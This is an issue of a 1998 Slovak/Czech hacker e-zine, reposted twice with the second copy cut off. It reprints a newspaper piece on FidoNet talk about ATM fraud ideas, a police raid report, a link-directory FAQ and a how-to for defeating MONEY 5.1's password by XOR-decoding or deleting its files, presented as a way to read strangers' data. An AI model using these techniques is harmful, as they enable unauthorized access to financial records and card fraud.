    888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
    YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

    prielom #8, 16.7.98, prielom(at)hysteria.sk, http://hysteria.sk/prielom/




    obsah



    intro

    bankomaty

    slovenska policia pritvrduje

    jak se dostat do MONEY 5.1 kdyz neznam heslo

    hysteria navigator faq







    intro



    prielom 8 je celkom malinkaty a vcelku narychlo pozliepany.. to viete..
    obdobie dovoleniek.. ja padam prec na dlhsi cas, tak aspon toto.. dalsie
    cislo hadam ku koncu augusta..


    pajka




    bankomaty


    tento clanok vysiel v denniku Novy Cas... odstrihol som z neho taky ten
    klasicky nudny uvod typu "co je to
    internet" a "kdo je to hacker"..




    Od sexu az ku kradeziam ?

    Osobny pocitac bez krabicky zvanej modem, pripomina luxusne auto stojace
    uprostred pola. Modemy umoznuju po beznej telefonnej linke vysielat signaly zrozumitelne
    pocitacu a takto si vymienat programy, odkazy, udaje, apod. Nielen
    medzi dvomi znamymi, vlastniacimi modemy, ale jestvuje tiez viacero celosvetovych
    sieti, ktore takuto komunikaciu umoznuju. Jednou z nich je neprofesialna FIDONET,
    s centrom v USA. Jej region 42 tvoria Cechy a Slovensko. Nadsenci PC tu zivo debatuju
    v desiatkach konferencii, cize rozlicne zameranych tematickych okruhoch.
    Od konferencie nazvanej Kamasutra, ktorej napln netreba opisovat, cez Gaming,
    v ktorej hAbaju nad svojimi starostami fanatici pocitacovych hier, az po Hardware,
    kde zasa mozno hladat dobru radu ak nefunguje stroj, tiez su tu napady na
    rozne technicke zlepsovaky. Dvadsiateho siedmeho jula tohto roku bolo mozne prvy
    raz zaregistrovat zaujimave rozhovory, nasvecujuce... Radsej odcitujme niekolko
    pasazi, kvoli zrozumitelnosti mierne upravenych.



    Pirati diskutuju

    Evzen P. spoza Moravy, dava do eteru otazku : "Je tady nekdo, kdo vi , co a jak
    se zaznamenava na bankomatovou kartu ?" Skusenejsi kamarat zo Slovenska ho cez
    terminal hned poucil : "V prvom rade musis rozlisit, ci ide o off-line system
    , teda samostatne, do siete neprepojene bankomaty /u nas Sporitelna, aj v Cesku/,
    alebo on-line, cize ostatne, zapojene do spolocneho systemu bankomatov. U on-line
    na karte osobne cislo majitela /PIN/ byt nemusi, kedze bankomat sa nanho hned
    moze cez linku spytat ustredia. U off-line tam PIN je, zrejme zakodovany, ale
    v principe je to jedno. Pokial by si poznal postup verifikacie v bankomate, nebol
    by problem s pocitacom vyskusat vsetky moznosti a najst tu spravnu.Aktualizacia
    zoznamu neplatnych karietsa deje tak, ze tie neprepojene off-line bankomaty
    obehne manik s disketou." Z ceskych krajov hned reagoval dalsi : "Byl by zajem i
    o kompletni konstrukcni popis. A priloz i seznam nejakych vhodnych uctu i
    s heslama. Prosim vas, a nikomu to nerikejte, kdo neni ve FIDU. Ono i tak bude
    dost napadny, ze vsichni kdo maji modem maji najednou nejak moc penez." Rozhovory
    pokracuju i dalsie dni. Evzen pise Ladovi Z. : "Je to mozny a proveditelny. Spusob
    zapisu dat je pro jeden typ bankomatovych karet konstantni. Staci sehnat popis
    struktury zaznamu a zarizeni, ktery to dovede precist.Pak kdyz mas kartu,
    vyskousis pomoci computeru vsechny moznosti, a NAJDES PIN. Slysel jsem, ze se to
    nekolika lidem v SRN uz povedlo. Kdyz budes mit k dispozici to co jsem napsal,
    tak je to otazka nekolika malo vterin !" Do reci prispieva zas dalsi ucastnik
    : "Mnohem zajimavejsi je zmenit cislo karty a teprve pak vybirat penize." Vaclav
    V. dodava do debaty zaujimave veci : "Nejmenovany kolega tvrdi, ze na cteni
    magneticke stopy z karty staci hlava z kazetaku, pripadne hlava z disketove
    jednotky." Jindra K. daval rozumy Petrovi P. : "Na karte je zapsano, kolik jsi
    ten den vybral. Takze kdyz ji po vybrani uvedes do puvodniho stavu /ctecka i zapisovacka
    se daji koupit/, muzes vybirat zase..." Nasledujuci kazisvet zasa spekuloval
    ako vyuzit fakt, ze off-line bankomaty nevedia o penaznych operaciach
    urobenych na ostatnych bankomatoch, hned. Az ked k nim pride raz za den zamestnanec
    obnovit data. Spekulant objavil, a po sieti Fidonet oznamil takuto metodu
    : "Zalozim si treba deset kont. Necham si na kazdy udelat kreditni kartu. Na
    kazdy konto si dam par penez. Pujdu a vyberu si z kazdyho bankomatu po 2000."
    Slovak Roderik P. dodava : "V kazdom bankomate je zoznam platnych kariet spolu
    s ich PIN..." Tolko snad staci na ukazku toho, co vrta v hlavach niekolkych desiatok
    mladikov. Do odbornych podrobnosti zabiehat nemusime, ostatne chlapci po
    kratkom case presli z tzv. echomail sposobu zasielania si sprav, ktory je volne
    pristupny , na netmail. Ten uz zarucuje istu dovernost a utajenie pred sirsim
    publikom.



    Len otazka casu

    S vypismi obsahujucimi spomenute, i dalsie pasaze, sme zasli do kosickej firmy
    Lynx, kde pracuje medzinarodne uznavany a znamy odbornik na pocitacovu
    bezpecnost, RNDr. Michal Danilak. Pri citani desiatok metrov papierovych pasov
    vazne pokyvoval hlavou : "Tak to uz mame aj u nas. Ked to na zapade prinasa tolko
    starosti, preco nie i tu ? Ceski a slovenski pirati ocividne ozivaju. Hlavnym ich
    problemom zatial ostava nedostatok technickych informacii. Je vsak len otazkou
    casu a snahy, kedy dokazu uskutocnit svoje zamery. Nemaju zatial dostatocne napojenie
    na celosvetovu hackersku siet, aby odtial cerpali. Nemaju ani v potrebnej
    miere socialne spracovanych tych odbornikov, ktori bankomaty instaluju a prevadzkuju.
    V zahranici mozno v tomto smere hovorit o skutocne profesionalnom socialnom
    inzinierstve, ktore hackeri pouzivaju, aby zo zasvetenych ludi vytiahli
    informacie. Znamena to nadviazat doverny psychologicky kontakt s kolegom od
    fachu, pracujucim napriklad v banke, a pri veceri z neho pocas rozhovoru tahat
    tajne informacie. Alebo hoci si najst ucelovo v penaznom ustave frajerku. Toto su
    vsak iba docasne prekazky. Je velmi pravdepodobne, ze uz tie postupy, nad ktorymi
    premyslaju momentalne, by nasli v praxi uplatnenie. Najvacsie nebezpecie moze
    hrozit bankomatom, ktore nie su prepojene do siete, teda najma pristrojom Slovenskej
    sporitelne. Nasa policia ma teraz dost inych starosti, nez skumat high
    - tech kriminalitu. Vyzaduje si to totiz nielen najvyssiu odbornost a dlhodobe
    studium, ale aj narocne technicke vybavenie."



    Ako to robia profici

    Bude uzitocne nahliadnut do metod pouzivanych v krajinach, kde kriminalita spojena
    s bankomatmi nie je uz novinkou. V jednom europskom state stal na ulici
    "stedry" bankomat. Nevydaval sice peniaze, ale po zasunuti kreditnej karty a zadani
    jej identifikacneho PIN cisla vyplul balicek cukrikov. Deti hned zacali
    tajne brat rodicom karty a podho ku plechovemu "Mikulasovi". Prefikancom, ktori
    ho postavili slo o jedine : ich stroj zosnimal a ulozil si do svojej pamate
    vsetky udaje z danych kariet. Potom uz nebolo najmensim problemom vyrabat ich kopie...
    Podobne si pocinali darebaci pred jeden a pol rokom vo Velkej Britanii. Tam
    ukradli cely bankomat a po case ho instalovali inde. Opat mal jedinu ulohu vo
    vychytavani udajov z pravych kariet. Podvodnici vdaka nemu stihli vyberat z kont
    majitelov az 40 tisic libier tyzdenne. Uplne jednoduchy sposob spociva v ukradnuti
    karty sikovnymi prstami vreckara, potom, co cez plece nepozorneho klienta
    odpozerali, ake cislo PIN zadava do bankomatu. Primitivnejsi pachatelia potom
    proste vyberu sumu a kartu zahodia. Ti prefikanejsi, clenovia dobre organizovanej
    bandy, kartu ihned skopiruju a vreckarskou metodou nic netusiacej obeti zasa vratia.
    Ta sa potom moze len cudovat, kam miznu z jej konta peniaze. Preto je dobre,
    ak ma kazdy clen rodiny vlastnu kartu. Ovela skor totiz moze zbadat nejake podozrive
    javy. A este pozor na jedno vazne nebezpecenstvo. Identifikacny znak PIN
    pytaju od pouzivatela karty vylucne bankomaty. Pri plateni za tovar v obchode ho
    uvadzat netreba. Staci mat ozaj len tu kartu. Vlastnu alebo cudziu.



    Bankari zatial pokojni

    Prva dostala moznost komentovat nase zistenia manazerka kosickej pobocky
    Ceskoslovenskej obchodnej banky, a.s., Ing. Zdena Gacikova : "My mame bankomatov
    zatial malo, iba styri. Vsetky prepojene on-line. Funguju na medzinarodne platne
    karty zdruzenia Eurocard - Mastercard. Limit vyberu moze cinit na den az 50 tisic
    korun, zavisi od bonity klienta. Od buduceho roku pribudne postupne dalsi pridavny
    bezpecnostny kod, ktory dalej zvysi stupen ochrany." Ake rizika su spojene
    s platenim v obchodoch, vysvetlila ing. Gacikova takto : "V obchode platitel naozaj
    nepotrebuje uviest svoje cislo PIN, teda iste riziko tu je. Nie vsak tak
    velke, ako vy sa na prvy pohlad zdalo. Kazdy obchodnik ma totiz svoj limit, po
    ktory vyda tovar bez overenia karty. Ked chce zakaznik nakupovat za viac, vola
    predajca bratislavske autorizacne centrum. Vysku limitu pozna len sam obchodnik.
    Takze zlodej karty, ak nechce riskovat skore chytenie, mohol by bez vacsieho rizika
    kupovat len za male sumy, povedzme do 500 korun. Vela skod by teda az do
    zablokovania karty ani nestihol narobit." Namestnik riaditela Vseobecnej uverovej
    banky Kosice, JUDr.Mgr. Jan Rybarik, uviedol : "My obhospodarujeme na Slovensku
    160 bankomatov, vsetky prepojene on-line. Od augusta funguje v Bratislave Autorizacne
    centrum Slovenska. Prinos tejto centralizacie spociva v tom, ze aj klienti
    inych bank budu moct pouzivat bankomaty VUB a naopak. Nevieme zatial o utoku na
    nas pristroj. Su chranene jednak svojou robustnou konstrukciou,ale aj napojenim
    cez linku priamo na policiu. Pri naruseni si automaticky privola pomoc. Koniec
    koncov, aj keby akosi predsa ukradli cely bankomat, cisla uctov a kody v nom nenajdu.
    " Na otazku, kolko korun vojde do jednej takej ocelovej skatule, J. Rybarik
    prezradi len tolko : "Nepoviem, lebo by sme len lakali chmatakov. Ale v zavislosti
    od typu statisice, aj cez milion."



    Policia len zacina

    S celou kopou zisteneho mierime na policiu. Ako bolo mozne cakat, nijakeho kompetentneho
    specialistu na pocitacovu kriminalitu tu niet. Po mensej anabaze cez
    uradnikov, ktori si prehadzuju problem ani horuci zemiak, koncime u riaditela
    Uradu financnej policie PZ SR, JUDr. Ignaca Behula. "Je to pre nas uplna novinka",
    priznava. "Cakal som, kedy zacne pocitacova kriminalita v nasich koncinach,
    ale ze prave cez bankomaty...Preskumame o co ide." Konecne slovo o sucasnom
    stave vysetrovania povedal I. Behul pred niekolkymi dnami : "Nadviazali sme spolupracu
    s ceskou policiou, kedze tazisko hackerskych aktivit sa sustreduje u
    nich. Boli uz prve spolocne konzultacie". Na otazku, ci teda zacne preventivne
    sledovanie tychto diani,napriklad konspiracnym nasadenim policajnych agentov do
    piratskych komunit, krci plecami : "Je to velky problem. Nie sme dostatocne vybaveni
    technicky ani personalne. Hodlame spolupracovat s odbornikmi aj z civilnej
    sfery. Cesi su na tom o nieco lepsie. Verim, ze vdaka podchyteniu toho celeho uz
    v zarodocnom stadiu predideme premene slov a spekulacii tych vymyselnikov v ciny.
    " Co ma teda robit radovy obcan, majitel kreditnej karty ? V prvom rade davat
    pozor, aby nikto nemohol odpozorovat jeho cislo PIN pri zadavani do bankomatu.
    Rozumne je takisto ukladat peniaze do systemov prepojenych on-line. Tie su pre
    potencialnych prienikarov ovela tvrdsim orieskom, nez tie neprepojene. A tiez dufat,
    ze nasa policia v historicky kratkom case zisti, ze obusky uz na modernych
    zlocincov nestacia.



    navrat na obsah




    Slovenska policia pritvrdzuje



    Vo stvrtok 4.6.1997 kriminalna policia urobila prehliadku kancelarii
    firmy Eurocomp v Bratislave. Stalo sa tak
    na podnet BSA. Prehliadka bola zamerana na preverenie podozrenia ze v spolocnosti
    Eurocomp dochadza k neopravnenemu kopirovaniu, rozsirovaniu a pouzivaniu pocitacovych
    programov, ktorych autorske prava vlastnia clenske firmy BSA. Aliancia pred
    casom dostala od anonymneho informatora indicie o tom ze na pocitacoch spolocnosti
    Eurocomp su nainstalovane a pouzivane aj nelegalne kopie pocitacovych programov
    od firmy Microsoft a inych clenov BSA. Spolocnost sa podla informacie mala zaoberat
    aj pocitacovym piratstvom.



    Anynymny informator bol byvaly pracovnik, ktory dostal padaka. Do Eurocompu
    nabehlo asi 15 chlapikov v civile a pri vstupe do budovy sa preukazali povolenim
    z okresnej prokuratury. Potom prikazali ludom vstat od pocitacov a zacali
    prehliadku a fotografovanie. Nebola ziadna sanca na schovanie pocitacov alebo
    vymazanie programov. Pokial sa niekto vzpieral, napr. ze nedostal nariadenie
    od sefa, tak dvaja ludia s nim zostali pri pocitaci a dialsi isiel pre sefa.
    Ja len dufam ze sa tu nenajde druhy kpt. Dastych.



    rain, rainman(at)rainside.sk



    navrat na obsah




    Jak se dostat do MONEY 5.1 kdyz neznam heslo



    Program MONEY pro vedeni ucetnictvy asi vetsina zna. A tak by se nekomu
    mohlo hodit vedet, jak se do neho dostat pokud nezna heslo. A presne o tom je
    tenhle clanek.
    Sedel jsem si takle u kamose u pocitace a on me rika, ze vyhodne koupil
    hardisk a ze prej ho melo pred nim spustu lidi. A tak ze se na nej kouknem
    jestli tam neni neco zajimaviho. Tak sme zacali prochazet hadr a narazili
    jsme na money 5.1. Rikame si tak 'parada treba tam budou nejaky zajimavy
    data'. Tak to spustime a najednou ta strasne otravna hlaska 'ZADEJTE HESLO'.
    A tak si rikam to teda ne, dokud se tam nedostanu nendu dom. Nastesti to
    bylo lehci nez sem cekal. Heslo je ulozeny v souboru databazepristup.dat.Na
    adrese 9Ah(154d) je ulozena delka hesla(coz ma fungovat asi jako kontrolni
    soucet :) a od 9Bh(155d) je zakodovane heslo. Dekodovani je naprosto
    jednoduche xor 181, no a z toho vam vyjde
    ASCII cislo dekodovaneho znaku. V praxi to vypada asi takto:


    00009A: 06 C6 DE CC DB D0 C1 => heslo je SKYNET

    BTW:nezalezi na velikosti pismen. Pokud vam ale de jen o to se tam dostat a heslo
    uplne znicit staci smazat tyto 3 soubory:

    pristup.dat
    pristup.ix
    pristup.bpf

    Pokud je tam vice tuzivatelu, tak heslo u kazdeho dalsiho uzivatele je posunute
    v souboru pristup.dat o +65h(101d).



    t_man


    navrat na obsah




    hysteria navigator faq
    (
    http://hysteria.sk/nav )




    pridavani odkazu


    pridavat odkazy do tohoto seznamu neni nic sloziteho. nejprve si vyberte
    spravny adresar. doclickejte se tedy ke zvolenemu adresari a vyplnte
    formular na pridavani dokumentu. do URL se zadava _cele_ url (vcetne
    protokolu), tedy napr. http://www.underground.org/ . kdyz zadavate cestu k
    adresari, uvadejte ji vcente lomitka ('/') na konci url. pokud '/' neuvedete,
    bude browser muset delat dva http requesty - jeden na cestu bez lomitka,
    server mu odpovi ze to je cesta_s_lomitkem - a druhy je uz na lomitkove url,
    spravne. TITLE je strucny titulek, ktery bude odkazem. A DESC
    je popisek odkazu. volte prosim popisky vystizne a kratke. V title i
    description muzete pouzivat html tagy, pouzivejte jen takove, ktere
    nenarusuji vzhled stranky. NEPOUZIVEJTE DIAKRITIKU!



    mazani odkazu


    pokud prestane nejaky odkaz fungovat, vymazte jej! do URL se zadava cesta,
    jak je uvedena u odkazu. nefungujici odkaz je takovy, kde delsi dobu vraci
    server 404 not found, popripade je server totalne down. !pozor! nez
    usoudite, ze server je down, ujistete se, zda neni chyba u isp (cesnetum
    nekdo shodil raba...), ci snad nejaky router neroutuje dokolecka, popripade
    nekdo neprekopl kabelaz. pokud 404, skuste zjistit nove url.



    mkdir/rmdir


    muzete take samozrejme zakladat a mazat adresare. jmeno adresare muze byt
    jakekoliv, ale nepouzivejte prosim diakritiku. url tohoto adresare bude
    odvozeno z nazvu, tzn. budou vynechany znaky jako /.[]:,|*?`x20 :-) pokud
    je adresar prazdny, muzete jej smazat. kdyz do nej vlezete, bude vam jasne
    jak.



    for internal use only


    pro uzivatele hysterie: prava k /html/hysteria/nav/ a dalsim adresarum mate
    (rwx), takze muzete efektivne pracovat s celym navigatorem. pokud nejaky
    lamer tady udela paseku, opravte to prosim - z czech (cesnet) je sem _hrozne_
    pomale spojeni (btw: nechcete si to nekdo vzit na starost?). nezapomente
    prosim zachovat spravne vsechny permissions, viz skripty.



    jake odkazy pridavat


    chctel bych, aby uroven NAVu byla co nejvyssi. nepridavejte sem prosim linky
    na lamerske stranky (napr. 'jak poslat email pomoci smtp', 'jak ircckovat
    telnetem', atd), popripade odkazy na (free) xxx adults only sitez. warez take
    neni vitan, stejne jako BFU/windoze. toto je site o H/P/A/V, ne pro SW
    piraty. vitany jsou odkazy na ruzne stranky zabyvajici se bezpecnosti
    systemu, phreakovani, stavba ruzneho zeleza, uzitecne stranky o unixech,
    smartcards, a spousta dalsiho.



    mhi, mhi(at)hysteria.sk


    navrat na obsah






    000001010000000100000102006173020061922500619227
    pajkus
     pajkus      03.03.2004 - 13:24:09 , level: 2, UP   NEW



    ::::::::::. :::::::.. :::.,:::::: ::: ... . :
    `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
    `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
    $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
    888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
    YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

    prielom #8, 16.7.98, prielom(at)hysteria.sk, http://hysteria.sk/prielom/




    obsah



    intro

    bankomaty

    slovenska policia pritvrduje

    jak se dostat do MONEY 5.1 kdyz neznam heslo

    hysteria navigator faq







    intro



    prielom 8 je celkom malinkaty a vcelku narychlo pozliepany.. to viete..
    obdobie dovoleniek.. ja padam prec na dlhsi cas, tak aspon toto.. dalsie
    cislo hadam ku koncu augusta..


    pajka




    bankomaty


    tento clanok vysiel v denniku Novy Cas... odstrihol som z neho taky ten
    klasicky nudny uvod typu "co je to
    internet" a "kdo je to hacker"..




    Od sexu az ku kradeziam ?

    Osobny pocitac bez krabicky zvanej modem, pripomina luxusne auto stojace
    uprostred pola. Modemy umoznuju po beznej telefonnej linke vysielat signaly zrozumitelne
    pocitacu a takto si vymienat programy, odkazy, udaje, apod. Nielen
    medzi dvomi znamymi, vlastniacimi modemy, ale jestvuje tiez viacero celosvetovych
    sieti, ktore takuto komunikaciu umoznuju. Jednou z nich je neprofesialna FIDONET,
    s centrom v USA. Jej region 42 tvoria Cechy a Slovensko. Nadsenci PC tu zivo debatuju
    v desiatkach konferencii, cize rozlicne zameranych tematickych okruhoch.
    Od konferencie nazvanej Kamasutra, ktorej napln netreba opisovat, cez Gaming,
    v ktorej hAbaju nad svojimi starostami fanatici pocitacovych hier, az po Hardware,
    kde zasa mozno hladat dobru radu ak nefunguje stroj, tiez su tu napady na
    rozne technicke zlepsovaky. Dvadsiateho siedmeho jula tohto roku bolo mozne prvy
    raz zaregistrovat zaujimave rozhovory, nasvecujuce... Radsej odcitujme niekolko
    pasazi, kvoli zrozumitelnosti mierne upravenych.



    Pirati diskutuju

    Evzen P. spoza Moravy, dava do eteru otazku : "Je tady nekdo, kdo vi , co a jak
    se zaznamenava na bankomatovou kartu ?" Skusenejsi kamarat zo Slovenska ho cez
    terminal hned poucil : "V prvom rade musis rozlisit, ci ide o off-line system
    , teda samostatne, do siete neprepojene bankomaty /u nas Sporitelna, aj v Cesku/,
    alebo on-line, cize ostatne, zapojene do spolocneho systemu bankomatov. U on-line
    na karte osobne cislo majitela /PIN/ byt nemusi, kedze bankomat sa nanho hned
    moze cez linku spytat ustredia. U off-line tam PIN je, zrejme zakodovany, ale
    v principe je to jedno. Pokial by si poznal postup verifikacie v bankomate, nebol
    by problem s pocitacom vyskusat vsetky moznosti a najst tu spravnu.Aktualizacia
    zoznamu neplatnych karietsa deje tak, ze tie neprepojene off-line bankomaty
    obehne manik s disketou." Z ceskych krajov hned reagoval dalsi : "Byl by zajem i
    o kompletni konstrukcni popis. A priloz i seznam nejakych vhodnych uctu i
    s heslama. Prosim vas, a nikomu to nerikejte, kdo neni ve FIDU. Ono i tak bude
    dost napadny, ze vsichni kdo maji modem maji najednou nejak moc penez." Rozhovory
    pokracuju i dalsie dni. Evzen pise Ladovi Z. : "Je to mozny a proveditelny. Spusob
    zapisu dat je pro jeden typ bankomatovych karet konstantni. Staci sehnat popis
    struktury zaznamu a zarizeni, ktery to dovede precist.Pak kdyz mas kartu,
    vyskousis pomoci computeru vsechny moznosti, a NAJDES PIN. Slysel jsem, ze se to
    nekolika lidem v SRN uz povedlo. Kdyz budes mit k dispozici to co jsem napsal,
    tak je to otazka nekolika malo vterin !" Do reci prispieva zas dalsi ucastnik
    : "Mnohem zajimavejsi je zmenit cislo karty a teprve pak vybirat penize." Vaclav
    V. dodava do debaty zaujimave veci : "Nejmenovany kolega tvrdi, ze na cteni
    magneticke stopy z karty staci hlava z kazetaku, pripadne hlava z disketove
    jednotky." Jindra K. daval rozumy Petrovi P. : "Na karte je zapsano, kolik jsi
    ten den vybral. Takze kdyz ji po vybrani uvedes do puvodniho stavu /ctecka i zapisovacka
    se daji koupit/, muzes vybirat zase..." Nasledujuci kazisvet zasa spekuloval
    ako vyuzit fakt, ze off-line bankomaty nevedia o penaznych operaciach
    urobenych na ostatnych bankomatoch, hned. Az ked k nim pride raz za den zamestnanec
    obnovit data. Spekulant objavil, a po sieti Fidonet oznamil takuto metodu
    : "Zalozim si treba deset kont. Necham si na kazdy udelat kreditni kartu. Na
    kazdy konto si dam par penez. Pujdu a vyberu si z kazdyho bankomatu po 2000."
    Slovak Roderik P. dodava : "V kazdom bankomate je zoznam platnych kariet spolu
    s ich PIN..." Tolko snad staci na ukazku toho, co vrta v hlavach niekolkych desiatok
    mladikov. Do odbornych podrobnosti zabiehat nemusime, ostatne chlapci po
    kratkom case presli z tzv. echomail sposobu zasielania si sprav, ktory je volne
    pristupny , na netmail. Ten uz zarucuje istu dovernost a utajenie pred sirsim
    publikom.



    Len otazka casu

    S vypismi obsahujucimi spomenute, i dalsie pasaze, sme zasli do kosickej firmy
    Lynx, kde pracuje medzinarodne uznavany a znamy odbornik na pocitacovu
    bezpecnost, RNDr. Michal Danilak. Pri citani desiatok metrov papierovych pasov
    vazne pokyvoval hlavou : "Tak to uz mame aj u nas. Ked to na zapade prinasa tolko
    starosti, preco nie i tu ? Ceski a slovenski pirati ocividne ozivaju. Hlavnym ich
    problemom zatial ostava nedostatok technickych informacii. Je vsak len otazkou
    casu a snahy, kedy dokazu uskutocnit svoje zamery. Nemaju zatial dostatocne napojenie
    na celosvetovu hackersku siet, aby odtial cerpali. Nemaju ani v potrebnej
    miere socialne spracovanych tych odbornikov, ktori bankomaty instaluju a prevadzkuju.
    V zahranici mozno v tomto smere hovorit o skutocne profesionalnom socialnom
    inzinierstve, ktore hackeri pouzivaju, aby zo zasvetenych ludi vytiahli
    informacie. Znamena to nadviazat doverny psychologicky kontakt s kolegom od
    fachu, pracujucim napriklad v banke, a pri veceri z neho pocas rozhovoru tahat
    tajne informacie. Alebo hoci si najst ucelovo v penaznom ustave frajerku. Toto su
    vsak iba docasne prekazky. Je velmi pravdepodobne, ze uz tie postupy, nad ktorymi
    premyslaju momentalne, by nasli v praxi uplatnenie. Najvacsie nebezpecie moze
    hrozit bankomatom, ktore nie su prepojene do siete, teda najma pristrojom Slovenskej
    sporitelne. Nasa policia ma teraz dost inych starosti, nez skumat high
    - tech kriminalitu. Vyzaduje si to totiz nielen najvyssiu odbornost a dlhodobe
    studium, ale aj narocne technicke vybavenie."



    Ako to robia profici

    Bude uzitocne nahliadnut do metod pouzivanych v krajinach, kde kriminalita spojena
    s bankomatmi nie je uz novinkou. V jednom europskom state stal na ulici
    "stedry" bankomat. Nevydaval sice peniaze, ale po zasunuti kreditnej karty a zadani
    jej identifikacneho PIN cisla vyplul balicek cukrikov. Deti hned zacali
    tajne brat rodicom karty a podho ku plechovemu "Mikulasovi". Prefikancom, ktori
    ho postavili slo o jedine : ich stroj zosnimal a ulozil si do svojej pamate
    vsetky udaje z danych kariet. Potom uz nebolo najmensim problemom vyrabat ich kopie...
    Podobne si pocinali darebaci pred jeden a pol rokom vo Velkej Britanii. Tam
    ukradli cely bankomat a po case ho instalovali inde. Opat mal jedinu ulohu vo
    vychytavani udajov z pravych kariet. Podvodnici vdaka nemu stihli vyberat z kont
    majitelov az 40 tisic libier tyzdenne. Uplne jednoduchy sposob spociva v ukradnuti
    karty sikovnymi prstami vreckara, potom, co cez plece nepozorneho klienta
    odpozerali, ake cislo PIN zadava do bankomatu. Primitivnejsi pachatelia potom
    proste vyberu sumu a kartu zahodia. Ti prefikanejsi, clenovia dobre organizovanej
    bandy, kartu ihned skopiruju a vreckarskou metodou nic netusiacej obeti zasa vratia.
    Ta sa potom moze len cudovat, kam miznu z jej konta peniaze. Preto je dobre,
    ak ma kazdy clen rodiny vlastnu kartu. Ovela skor totiz moze zbadat nejake podozrive
    javy. A este pozor na jedno vazne nebezpecenstvo. Identifikacny znak PIN
    pytaju od pouzivatela karty vylucne bankomaty. Pri plateni za tovar v obchode ho
    uvadzat netreba. Staci mat ozaj len tu kartu. Vlastnu alebo cudziu.



    Bankari zatial pokojni

    Prva dostala moznost komentovat nase zistenia manazerka kosickej pobocky
    Ceskoslovenskej obchodnej banky, a.s., Ing. Zdena Gacikova : "My mame bankomatov
    zatial malo, iba styri. Vsetky prepojene on-line. Funguju na medzinarodne platne
    karty zdruzenia Eurocard - Mastercard. Limit vyberu moze cinit na den az 50 tisic
    korun, zavisi od bonity klienta. Od buduceho roku pribudne postupne dalsi pridavny
    bezpecnostny kod, ktory dalej zvysi stupen ochrany." Ake rizika su spojene
    s platenim v obchodoch, vysvetlila ing. Gacikova takto : "V obchode platitel naozaj
    nepotrebuje uviest svoje cislo PIN, teda iste riziko tu je. Nie vsak tak
    velke, ako vy sa na prvy pohlad zdalo. Kazdy obchodnik ma totiz svoj limit, po
    ktory vyda tovar bez overenia karty. Ked chce zakaznik nakupovat za viac, vola
    predajca bratislavske autorizacne centrum. Vysku limitu pozna len sam obchodnik.
    Takze zlodej karty, ak nechce riskovat skore chytenie, mohol by bez vacsieho rizika
    kupovat len za male sumy, povedzme do 500 korun. Vela skod by teda az do
    zablokovania karty ani nestihol narobit." Namestnik riaditela Vseobecnej uverovej
    banky Kosice, JUDr.Mgr. Jan Rybarik, uviedol : "My obhospodarujeme na Slovensku
    160 bankomatov, vsetky prepojene on-line. Od augusta funguje v Bratislave Autorizacne
    centrum Slovenska. Prinos tejto centralizacie spociva v tom, ze aj klienti
    inych bank budu moct pouzivat bankomaty VUB a naopak. Nevieme zatial o utoku na
    nas pristroj. Su chranene jednak svojou robustnou konstrukciou,ale aj napojenim
    cez linku priamo na policiu. Pri naruseni si automaticky privola pomoc. Koniec
    koncov, aj keby akosi predsa ukradli cely bankomat, cisla uctov a kody v nom nenajdu.
    " Na otazku, kolko korun vojde do jednej takej ocelovej skatule, J. Rybarik
    prezradi len tolko : "Nepoviem, lebo by sme len lakali chmatakov. Ale v zavislosti
    od typu statisice, aj cez milion."



    Policia len zacina

    S celou kopou zisteneho mierime na policiu. Ako bolo mozne cakat, nijakeho kompetentneho
    specialistu na pocitacovu kriminalitu tu niet. Po mensej anabaze cez
    uradnikov, ktori si prehadzuju problem ani horuci zemiak, koncime u riaditela
    Uradu financnej policie PZ SR, JUDr. Ignaca Behula. "Je to pre nas uplna novinka",
    priznava. "Cakal som, kedy zacne pocitacova kriminalita v nasich koncinach,
    ale ze prave cez bankomaty...Preskumame o co ide." Konecne slovo o sucasnom
    stave vysetrovania povedal I. Behul pred niekolkymi dnami : "Nadviazali sme spolupracu
    s ceskou policiou, kedze tazisko hackerskych aktivit sa sustreduje u
    nich. Boli uz prve spolocne konzultacie". Na otazku, ci teda zacne preventivne
    sledovanie tychto diani,napriklad konspiracnym nasadenim policajnych agentov do
    piratskych komunit, krci plecami : "Je to velky problem. Nie sme dostatocne vybaveni
    technicky ani personalne. Hodlame spolupracovat s odbornikmi aj z civilnej
    sfery. Cesi su na tom o nieco lepsie. Verim, ze vdaka podchyteniu toho celeho uz
    v zarodocnom stadiu predideme premene slov a spekulacii tych vymyselnikov v ciny.
    " Co ma teda robit radovy obcan, majitel kreditnej karty ? V prvom rade davat
    pozor, aby nikto nemohol odpozorovat jeho cislo PIN pri zadavani do bankomatu.
    Rozumne je takisto ukladat peniaze do systemov prepojenych on-line. Tie su pre
    potencialnych prienikarov ovela tvrdsim orieskom, nez tie neprepojene. A tiez dufat,
    ze nasa policia v historicky kratkom case zisti, ze obusky uz na modernych
    zlocincov nestacia.



    navrat na obsah




    Slovenska policia pritvrdzuje



    Vo stvrtok 4.6.1997 kriminalna policia urobila prehliadku kancelarii
    firmy Eurocomp v Bratislave. Stalo sa tak
    na podnet BSA. Prehliadka bola zamerana na preverenie podozrenia ze v spolocnosti
    Eurocomp dochadza k neopravnenemu kopirovaniu, rozsirovaniu a pouzivaniu pocitacovych
    programov, ktorych autorske prava vlastnia clenske firmy BSA. Aliancia pred
    casom dostala od anonymneho informatora indicie o tom ze na pocitacoch spolocnosti
    Eurocomp su nainstalovane a pouzivane aj nelegalne kopie pocitacovych programov
    od firmy Microsoft a inych clenov BSA. Spolocnost sa podla informacie mala zaoberat
    aj pocitacovym piratstvom.



    Anynymny informator bol byvaly pracovnik, ktory dostal padaka. Do Eurocompu
    nabehlo asi 15 chlapikov v civile a pri vstupe do budovy sa preukazali povolenim
    z okresnej prokuratury. Potom prikazali ludom vstat od pocitacov a zacali
    prehliadku a fotografovanie. Nebola ziadna sanca na schovanie pocitacov alebo
    vymazanie programov. Pokial sa niekto vzpieral, napr. ze nedostal nariadenie
